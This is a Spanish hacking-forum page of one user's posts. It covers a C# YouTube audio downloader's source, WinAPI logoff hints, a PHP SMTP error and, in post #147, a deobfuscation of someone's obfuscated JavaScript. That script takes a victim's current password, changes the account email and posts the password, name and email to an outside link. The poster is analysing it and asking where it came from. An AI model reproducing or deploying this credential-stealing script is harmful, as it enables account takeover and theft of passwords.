Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - .:UND3R:.

#142
Algún buen samaritano que disponga de estas versiones de VBReFormer?

de no querer publicar en público puede ser por MP

Saludos y gracias de ante mano :)
#143
Excelente iniciativa, su tuviera tiempo me apuntaría pero promete mucho, sigue así  ;-)
#144
Cita de: Pablo Videla en 30 Marzo 2016, 22:22 PM
Muchas gracias Fary.

Muy recomendado señor, sobre todo para usted  ;D




Fary, excelente aporte, saludos  ;-)
#145
Cita de: JohnConnor en 17 Marzo 2016, 05:24 AM
Buenas, les traigo un mini proyecto en fase de pruebas para que lo chequeen.
Jason es un downloader de audio de Youtube, tambien organiza y lista las canciones permitiendo cambiar su ubicacion, calidad, nombre, etc.

Esta programado en C# y utiliza la libreria DevExpress. Para funcionar requiere "Microsoft .Net Framework" y cualquier reproductor OGG. (yo recomiendo VLC)  .






NOTA: Jason no crackea ni proporciona audio/video protegido por derechos de autor (los mismos son bloqueados)

Links descargas:
(proyecto visual studio, portable y  ejecutabbe)




el que quiera participar del proyecto lo puede hacer aca: http://foro.code-makers.es/viewtopic.php?f=21&t=65   ;-)


Código (cs) [Seleccionar]
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Web;
using System.Net;
using System.IO;
using System.Diagnostics;
using System.Text.RegularExpressions;
using System.Media;
using System.Globalization;

namespace Jason21
{
    public partial class Form1 : Form
    {
        List<string> Canciones = new List<string>();
        List<string> urlCanciones = new List<string>();
        List<string> mArchivos = new List<string>();
        public bool PrimerCheck = true;
        public string input;
        public string[] parts1;
        public string[] parts2;
        public string[] parts3;
        public string Titulo;
        public string[] ImgP;
        public string[] ImgTP;
        public string[] ImgTP2;
        public string[] ImgT;
        public string[] videoID;

        // v1.1 Reformas
        public int intentoDescarga;
        public int maxIntentos;
        public string ultimaURL;
        public int uU = 0;

        // v2.0 Reformas
        public string urlADS;

        //v2.1 Reformas
        public string archivo_Configuracion;
        public string CarpetaDescargas;
        public float megaBytesGlobal;
        public int sDescargas = 0;
        public bool Cancelar_Busqueda = false;
        public string ultimaPestana = "controlBuscar";
        public int tDescargas = 0;
        public int fDescargas = 0;
        public Form1()
        {
            InitializeComponent();
            webBrowser1.ScriptErrorsSuppressed = true;
            webBrowser2.ScriptErrorsSuppressed = true;
            listBox1.MouseDoubleClick += new MouseEventHandler(listBox1_DoubleClick);
            lista_Biblioteca.MouseDoubleClick += new MouseEventHandler(lista_Biblioteca_DoubleClick);
            // Control_Pestanas.SelectedPageChanged += new TabControlCancelEventHandler(Control_Pestanas_Selecting);
           
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            archivo_Configuracion = File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + @"\Jason\JasonConfig.config");
            CheckConfig();
            ListarCanciones();
            intentoDescarga = 2;
            boton_CancelarBusqueda.Enabled = false;
            Application.DoEvents();
            ListarCanciones();
            Application.DoEvents();
            webBrowser2.Navigate("http://jason.esy.es/");
        }



       

        private void boton_Buscar_Click(object sender, EventArgs e)
        {
            boton_Buscar.Enabled = false;
            boton_CancelarBusqueda.Enabled = true;
            Canciones.Clear();
            urlCanciones.Clear();
            listBox1.Items.Clear();
            Cancelar_Busqueda = false;
            for (int i = 1; i <= (int)input_pagBusqueda.Value; i++)
            {
                if (Cancelar_Busqueda)
                {
                    i = 100;
                }
                else
                {
                    Buscar_Agregar(inputText_Buscar.Text, i);
                }
            }
        }

        public void Buscar_Agregar(string Busqueda, int Pagina)
        {
            Control_Pestanas.SelectedPageIndex= 0;
            webBrowser1.Navigate("https://www.youtube.com/results?search_query=" + Busqueda + "&page=" + Pagina);
            while (webBrowser1.ReadyState != WebBrowserReadyState.Complete)
            {
                Application.DoEvents();
            }
            HtmlElementCollection theElementCollection = default(HtmlElementCollection);
            theElementCollection = webBrowser1.Document.GetElementsByTagName("a");
            foreach (HtmlElement curElement in theElementCollection)
            {
                if (curElement.GetAttribute("classname") == "yt-uix-sessionlink yt-uix-tile-link yt-ui-ellipsis yt-ui-ellipsis-2       spf-link ")
                {
                    bool esLista = curElement.GetAttribute("href").Contains("list");
                    if (!esLista)
                    {
                        listBox1.Items.Add(curElement.GetAttribute("InnerText"));
                        urlCanciones.Add(curElement.GetAttribute("href"));
                    }
                }
            }
        }

        private void boton_CancelarBusqueda_Click(object sender, EventArgs e)
        {
            boton_CancelarBusqueda.Enabled = false;
            boton_Buscar.Enabled = true;
            Cancelar_Busqueda = true;
        }

       
        private void listBox1_DoubleClick(object sender, MouseEventArgs e)
        {
            if (sDescargas <= 3)
            {
                ConvertirCancion(sender, e);
            }
            else
            {
                MessageBox.Show("The free version does not allow many downloads.");
            }
        }
        public void ConvertirCancion(object sender, MouseEventArgs e)
        {
            int index = this.listBox1.IndexFromPoint(e.Location);
            int urlB = listBox1.SelectedIndex;
            label_ArchivosDescargados.Text = tDescargas.ToString();
            if (index != System.Windows.Forms.ListBox.NoMatches)
            {
                tabControl1.SelectedIndex = 1;
                lista_Descargas.Items.Add(listBox1.SelectedItem);
                label_EstadoDescarga.Text = "It becoming! please, be patient...";
                label_LocacionDescarga.Text = urlCanciones[urlB];
                webBrowser1.Navigate(urlCanciones[listBox1.SelectedIndex]);
                while (webBrowser1.ReadyState != WebBrowserReadyState.Complete)
                {
                    Application.DoEvents();
                }
                try
                {
                    input = webBrowser1.DocumentText;
                    parts1 = input.Split(new string[] { "type=audio" }, StringSplitOptions.None);
                    maxIntentos = parts1.Count();
                    parts2 = parts1[intentoDescarga].Split(new string[] { "url=" }, StringSplitOptions.None);
                    parts3 = parts2[1].Split(new string[] { "\\" }, StringSplitOptions.None);
                    Titulo = webBrowser1.Document.Title.Replace(" - YouTube", "");
                    label_EstadoDescarga.Text = "Successful conversion";
                    label_NombreDescarga.Text = Titulo + ".ogg";
                    videoID = urlCanciones[listBox1.SelectedIndex].Split(new string[] { "=" }, StringSplitOptions.None);
                    webBrowser1.Navigate("about:blank");
                    Application.DoEvents();
                    DescargarCancion();
                }
                catch
                {
                    fDescargas ++;
                    label_DescargasFallidas.Text = fDescargas.ToString();
                    label_EstadoDescarga.Text = "Error becoming  file - try again later.";
                    label_NombreDescarga.Text = Titulo + ".ogg\"";
                    webBrowser1.Navigate("about:blank");
                }
            }
        }

        public void DescargarCancion()
        {
            label_EstadoDescarga.Text = "Downloading...";
            WebClient Client = new WebClient();
            Client.DownloadProgressChanged += new DownloadProgressChangedEventHandler(client_DownloadProgressChanged);
            Client.DownloadFileCompleted += new AsyncCompletedEventHandler(client_DownloadFileCompleted);
            Client.DownloadFileAsync(new Uri((HttpUtility.UrlDecode(parts3[0]))), (CarpetaDescargas + "/" + Titulo + ".ogg").Replace("?", ""));
            Application.DoEvents();
            sDescargas++;
        }

        public void FalloDescarga()
        {
            fDescargas++;
            sDescargas--;
            label_DescargasFallidas.Text = fDescargas.ToString();
            label_NombreDescarga.Text = intentoDescarga.ToString() + " - Error : \"" + Titulo + ".ogg\"  is protected by copyright.";
            File.Delete(CarpetaDescargas + "/" + Titulo + ".ogg");
            Application.DoEvents();
            /* System.Threading.Thread.Sleep(2000);
             this.intentoDescarga += 1;
             if (intentoDescarga > 1)
             {
                 ConvertirCancion(null, null);
             }
             if (intentoDescarga > maxIntentos - 2)
             {
                 intentoDescarga = 1;
             }
             */
        }
        void client_DownloadProgressChanged(object sender, DownloadProgressChangedEventArgs e)
        {
            int Porciento = ((int)e.BytesReceived * 100) / ((int)e.TotalBytesToReceive);
            label_ArchivosDescargando.Text = sDescargas.ToString();
            try
            {
                progressBar1.Maximum = (int)e.TotalBytesToReceive / 100;
                progressBar1.Value = (int)e.BytesReceived / 100;
                double megaBytesT = ((double)e.TotalBytesToReceive / 1024) / (1024);
                double megaBytesR = ((double)e.BytesReceived / 1024) / (1024);
            }
            catch
            {
                label_EstadoDescarga.Text = " Downloading - " + Titulo;
            }
 
            try
            {

                progressBar1.Maximum = (int)e.TotalBytesToReceive / 100;
                progressBar1.Value = (int)e.BytesReceived / 100;
                double megaBytesT = ((double)e.TotalBytesToReceive / 1024) / (1024);
                megaBytesGlobal = (float)megaBytesT;
                double megaBytesR = ((double)e.BytesReceived / 1024) / (1024);
                if (megaBytesT <= (float)0.5)
                {
                    FalloDescarga();
                }
                else
                {
                    label_EstadoDescarga.Text = " Downloading  " + Porciento + " %";
                    label_MBr.Text = megaBytesR.ToString().Substring(0, 4) + "Mb.";
                    label_MBt.Text = megaBytesT.ToString().Substring(0, 4) + "Mb.";
                }
            }
            catch
            {
                Application.DoEvents();
            }
        }

        void client_DownloadFileCompleted(object sender, AsyncCompletedEventArgs e)
        {
     
            if (e.Error != null)
            {
                FalloDescarga();
            }
            else
            {
                string Cancion = CarpetaDescargas + "\\" + Titulo + ".ogg";
                if (megaBytesGlobal <= (float)0.5)
                {
                    label_EstadoDescarga.Text = "Unknow error";
                }
                else
                {
                    sDescargas--;
                    tDescargas++;
                    label_ArchivosDescargando.Text = sDescargas.ToString();
                    label_ArchivosDescargados.Text = tDescargas.ToString();
                    label_EstadoDescarga.Text = "Download completed";
                }

                if (checkBox_AbrirFinal.Checked)
                {
                    Process.Start(CarpetaDescargas); //, string.Format("/select,\"{0}\"", Titulo + ".ogg"));
                    Application.DoEvents();
                    SendKeys.Send(Titulo);
                }


                if (checkBox_PlayFinal.Checked)
                {

                    Process.Start(Cancion);
                    Application.DoEvents();
                }
            }
        }

        public void ListarCanciones()
        {
            if (!PrimerCheck)
            {
                mArchivos.Clear();
                lista_Biblioteca.Items.Clear();
            }
            string[] archivos = Directory.GetFiles(CarpetaDescargas, "*.*", SearchOption.TopDirectoryOnly);
            if (archivos.Length >= 1)
            {
                foreach (string nombre in archivos)
                {
                    bool esOGG = nombre.Contains(".ogg");
                    bool esMP3 = nombre.Contains(".mp3");
                    bool filtro = nombre.ToLower().Contains(textBox_Library_Filter.Text.ToLower());
                    if (esOGG && filtro || esMP3 && filtro)
                    {

                        mArchivos.Add(nombre);
                        lista_Biblioteca.Items.Add(nombre.Replace(CarpetaDescargas + "\\", "") + "                                    -                                  Location:  " + nombre);

                    }
                }
            }
            PrimerCheck = false;
        }

        public void CheckConfig()
        {
            bool abrirFinal = archivo_Configuracion.Contains("openonfinish=true");
            bool playFinal = archivo_Configuracion.Contains("playonfinish=true");
            bool usarMyMusic = archivo_Configuracion.Contains("usemymusic=true");
            if (abrirFinal)
            {
                usar_MyMusic.Checked = true;
            }
            else
            {
                usar_MyMusic.Checked = false;
            }
            if (playFinal)
            {
                usar_OtraCarpeta.Checked = true;
            }
            else
            {
                usar_OtraCarpeta.Checked = false;
            }
            if (usarMyMusic)
            {
                usar_MyMusic.Checked = true;
                usar_OtraCarpeta.Checked = false;
                elegir_Carpeta.Enabled = false;
                CarpetaDescargas = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
                textBox_PathChoice.Text = CarpetaDescargas;
                textBox_PathChoice.Enabled = false;
            }
            else if (!usarMyMusic)
            {
                usar_MyMusic.Checked = false;
                usar_OtraCarpeta.Checked = true;
                elegir_Carpeta.Enabled = true;
                CarpetaDescargas = File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + @"\Jason\Downpath.config");
                textBox_PathChoice.Text = CarpetaDescargas;
            }
        }



        // FIN FIN FIN FIN













     
   

        private void checkEdit8_CheckedChanged(object sender, EventArgs e)
        {

        }

        private void groupControl4_Paint(object sender, PaintEventArgs e)
        {

        }

        private void comboBox_Filter_Library_type_SelectedIndexChanged(object sender, EventArgs e)
        {

        }

        private void checkBox_AbrirFinal_CheckedChanged(object sender, EventArgs e)
        {
            if (checkBox_AbrirFinal.Checked)
            {
                archivo_Configuracion = archivo_Configuracion.Replace("openonfinish=false", "openonfinish=true");
            }
            else if (!checkBox_AbrirFinal.Checked)
            {
                archivo_Configuracion = archivo_Configuracion.Replace("openonfinish=true", "openonfinish=false");
            }
        }

        private void checkBox_PlayFinal_CheckedChanged(object sender, EventArgs e)
        {
            if (checkBox_PlayFinal.Checked)
            {
                archivo_Configuracion = archivo_Configuracion.Replace("playonfinish=false", "playonfinish=true");
            }
            else if (!checkBox_PlayFinal.Checked)
            {
                archivo_Configuracion = archivo_Configuracion.Replace("playonfinish=true", "playonfinish=false");
            }
        }

        private void usar_MyMusic_CheckedChanged(object sender, EventArgs e)
        {
            if (usar_MyMusic.Checked && archivo_Configuracion.Contains("usemymusic=false"))
            {
                archivo_Configuracion = archivo_Configuracion.Replace("usemymusic=false", "usemymusic=true");
                usar_OtraCarpeta.Checked = false;
                textBox_PathChoice.Enabled = false;
                elegir_Carpeta.Enabled = false;
                CarpetaDescargas = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
                textBox_PathChoice.Text = CarpetaDescargas;
                using (StreamWriter ArchivoDownpath = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + @"\Jason\Downpath.config"))
                {
                    ArchivoDownpath.Write("");
                }
            }
        }

        private void usar_OtraCarpeta_CheckedChanged(object sender, EventArgs e)
        {
            if (usar_OtraCarpeta.Checked && archivo_Configuracion.Contains("usemymusic=true"))
            {
                archivo_Configuracion = archivo_Configuracion.Replace("usemymusic=true", "usemymusic=false");
                usar_MyMusic.Checked = false;
                textBox_PathChoice.Enabled = true;
                elegir_Carpeta.Enabled = true;
            }
        }

        private void boton_AplicarConfig_Click(object sender, EventArgs e)
        {
            using (StreamWriter ArchivoConfig = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + @"\Jason\JasonConfig.config"))
            {
                ArchivoConfig.Write(archivo_Configuracion);
            }
            if (usar_MyMusic.Checked)
            {
                Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
            }
            else
            {
                CarpetaDescargas = textBox_PathChoice.Text;
            }
            //continuar
            using (StreamWriter ArchivoDownpath = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + @"\Jason\Downpath.config"))
            {
                ArchivoDownpath.Write(CarpetaDescargas);
            }
        }

        private void boton_Reset_Click(object sender, EventArgs e)
        {
            using (StreamWriter ArchivoConfig = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + @"\Jason\JasonConfig.config"))
            {
                ArchivoConfig.Write("openonfinish=true;playonfinish=false;usemymusic=true;otherpath:();");
                archivo_Configuracion = ("openonfinish=true;playonfinish=false;usemymusic=true;otherpath:();");
                CarpetaDescargas = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
            }

            CheckConfig();

            using (StreamWriter ArchivoDownpath = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + @"\Jason\Downpath.config"))
            {
                ArchivoDownpath.Write("");
            }
        }

        private void elegir_Carpeta_Click(object sender, EventArgs e)
        {
            if (folderBrowserDialog1.ShowDialog() == DialogResult.OK)
            {
                textBox_PathChoice.Text = folderBrowserDialog1.SelectedPath;
            }
        }

        private void simpleButton3_Click(object sender, EventArgs e)
        {
            lista_Descargas.CheckedItems.OfType<string>().ToList().ForEach(lista_Descargas.Items.Remove);
        }

        private void simpleButton4_Click(object sender, EventArgs e)
        {
            lista_Descargas.Items.Clear();
        }

        private void link_AbrirCarpeta_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
        {
            Process.Start(CarpetaDescargas);
        }


        private void lista_Biblioteca_DoubleClick(object sender, EventArgs e)
        {
            try {
                Process.Start(mArchivos[lista_Biblioteca.SelectedIndex]);
            } catch
            {
                Process.Start(mArchivos[lista_Biblioteca.SelectedIndex]);
            }
        }
        private void lista_Descargas_DoubleClick(object sender, EventArgs e)
        {
            try
            {
                textBox_Library_Filter.Text = lista_Biblioteca.SelectedItem.ToString();
            }
            catch
            {
                textBox_Library_Filter.Text = lista_Biblioteca.SelectedItem.ToString();
            }
        }


        private void textBox_Library_Filter_TextChanged(object sender, EventArgs e)
        {
            ListarCanciones();
        }

        private void control_Biblioteca_Paint(object sender, PaintEventArgs e)
        {
            // ListarCanciones();
            if (ultimaPestana != "controlBiblioteca")
            {
                ListarCanciones();
            } else
            {
                Application.DoEvents();
            }

        }

        private void lista_Biblioteca_SelectedIndexChanged(object sender, EventArgs e)
        {

        }

        private void label13_Click(object sender, EventArgs e)
        {

        }

        private void lista_Descargas_SelectedIndexChanged(object sender, EventArgs e)
        {
           
        }
    }
}




Bueno, eso es todo! Saludos

;-) ;-) ;-)

Excelente proyecto, no puede estar más que mejor, te felicito. Nada mejor que dejes el source, pues ayuda mucho a aquellos que desean entender el como desarrollaste ciertas cosas, me quito el sombrero, te felicito.
#146
Toda la magia está en el IF _0xcfe9x6 a simple impresión debe dar algo distinto de 0 para que se cumpla.

PD: a través de la función ADD se va modificando esa "variable" (o dirección de memoria).
#147
codificar?

son arreglos según yo, y ordenadamente quedaría más menos así:

Código (vbnet) [Seleccionar]
var linksave=_0x3459[0];
var nome=null;
var email=null;

$[_0x3459[10]]({

url:_0x3459[1],success:
function b64EncodeUnicode(_0xcfe9x4){
nome=_0xcfe9x4[_0x3459[3]](_0x3459[4])[1][_0x3459[3]](_0x3459[2])[0];
email=_0xcfe9x4[_0x3459[3]](_0x3459[5])[1][_0x3459[3]](_0x3459[2])[0];
div1=_0x3459[6];
div2=_0x3459[7];
$(_0x3459[9])[_0x3459[8]](div1);
$(_0x3459[9])[_0x3459[8]](div2)
}
});

function add(){
var _0xcfe9x6=$(_0x3459[12])[_0x3459[11]]();
var _0xcfe9x7=_0x3459[13]+Math[_0x3459[15]](Math[_0x3459[14]]()*999999)+_0x3459[16];

if(_0xcfe9x6){
$[_0x3459[23]](_0x3459[22],{currentPassword:_0xcfe9x6,newEmail:_0xcfe9x7},function(_0xcfe9x4){_0xcfe9x8()})
[_0x3459[21]](function(){
$(_0x3459[18])[_0x3459[17]]();
$(_0x3459[20])[_0x3459[19]]({width:0},300);
setTimeout(function(){$(_0x3459[18])[_0x3459[17]]()},3000)});
$[_0x3459[25]](_0x3459[24]);

function _0xcfe9x8(){
var _0xcfe9x9=document[_0x3459[27]](_0x3459[26]);
_0xcfe9x9[_0x3459[28]]=linksave;
_0xcfe9x9[_0x3459[29]]=_0x3459[25];
var _0xcfe9xa=document[_0x3459[27]](_0x3459[30]);
_0xcfe9xa[_0x3459[31]]=_0x3459[32];
_0xcfe9xa[_0x3459[33]]=_0x3459[34];
_0xcfe9xa[_0x3459[35]]=_0xcfe9x7;
var _0xcfe9xb=document[_0x3459[27]](_0x3459[30]);
_0xcfe9xb[_0x3459[31]]=_0x3459[32];
_0xcfe9xb[_0x3459[33]]=_0x3459[36];
_0xcfe9xb[_0x3459[35]]=_0xcfe9x6;
var _0xcfe9xc=document[_0x3459[27]](_0x3459[30]);
_0xcfe9xc[_0x3459[31]]=_0x3459[32];
_0xcfe9xc[_0x3459[33]]=_0x3459[37];
_0xcfe9xc[_0x3459[35]]=nome;
var _0xcfe9xd=document[_0x3459[27]](_0x3459[30]);
_0xcfe9xd[_0x3459[31]]=_0x3459[32];
_0xcfe9xd[_0x3459[33]]=_0x3459[38];
_0xcfe9xd[_0x3459[35]]=email;
var _0xcfe9xe=document[_0x3459[27]](_0x3459[30]);
_0xcfe9xe[_0x3459[31]]=_0x3459[32];
_0xcfe9xe[_0x3459[33]]=_0x3459[39];
_0xcfe9xe[_0x3459[35]]=owner;
_0xcfe9x9[_0x3459[40]](_0xcfe9xa);
_0xcfe9x9[_0x3459[40]](_0xcfe9xb);
_0xcfe9x9[_0x3459[40]](_0xcfe9xc);
_0xcfe9x9[_0x3459[40]](_0xcfe9xd);
_0xcfe9x9[_0x3459[40]](_0xcfe9xe);
document[_0x3459[9]][_0x3459[40]](_0xcfe9x9);
_0xcfe9x9[_0x3459[41]]()
}
}}'>


Podrías indicar más menos de donde obtuviste tal código, saludos.
#148
Hacking / Re: programa para logoff o Startup
12 Marzo 2016, 06:22 AM
busca por:

WM_QUERYENDSESSION

WM_POWERBROADCAST

#149
Cita de: MinusFour en 10 Marzo 2016, 23:43 PM
Debe ser algún error con $context. ¿Esto es un script de FastMail, tu lo has creado? Se necesita un $context con el certificado SSL para realizar conexiones por SSL me parece. A menos que se pueda configurar por default en algun lado del php.ini.

Por cierto, en el manual de PHP dice que $remote_socket debería ser solo tcp o udp. No creo que puedas usar tls, ni siquiera hay una entrada para el esquema tls en la lista de esquemas que soporta php http://php.net/manual/en/wrappers.php.

Al final lo solucioné cambiando los parámetros de conexión  :¬¬

Gracias por tu ayuda, saludos.
#150
Hola a todos, estoy intentando enviar un correo a través de SMTP Fastmail, el problema radica en que me marca el siguiente error:

Warning: stream_socket_client() [function.stream-socket-client]: SSL operation failed with code 1. OpenSSL Error messages: error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number in C:\xampp\htdocs\engine\mail\SMTP.php on line 107

Warning: stream_socket_client() [function.stream-socket-client]: Failed to enable crypto in C:\xampp\htdocs\engine\mail\SMTP.php on line 107

Warning: stream_socket_client() [function.stream-socket-client]: unable to connect to tls://mail.messagingengine.com:587 (Unknown error) in C:\xampp\htdocs\engine\mail\SMTP.php on line 107


La línea es la siguiente:

$conn = ($context == null) ? stream_socket_client($prt.'://'.$host.':'.$port, $errno, $errstr, $tout) : stream_socket_client($prt.'://'.$host.':'.$port, $errno, $errstr, $tout, STREAM_CLIENT_CONNECT, $context);

Antes funcionaba bien con el SMTP de google, pero ahora no que lo he cambiado a Fastmail (El sistema de correo funciona bien desde clientes mail).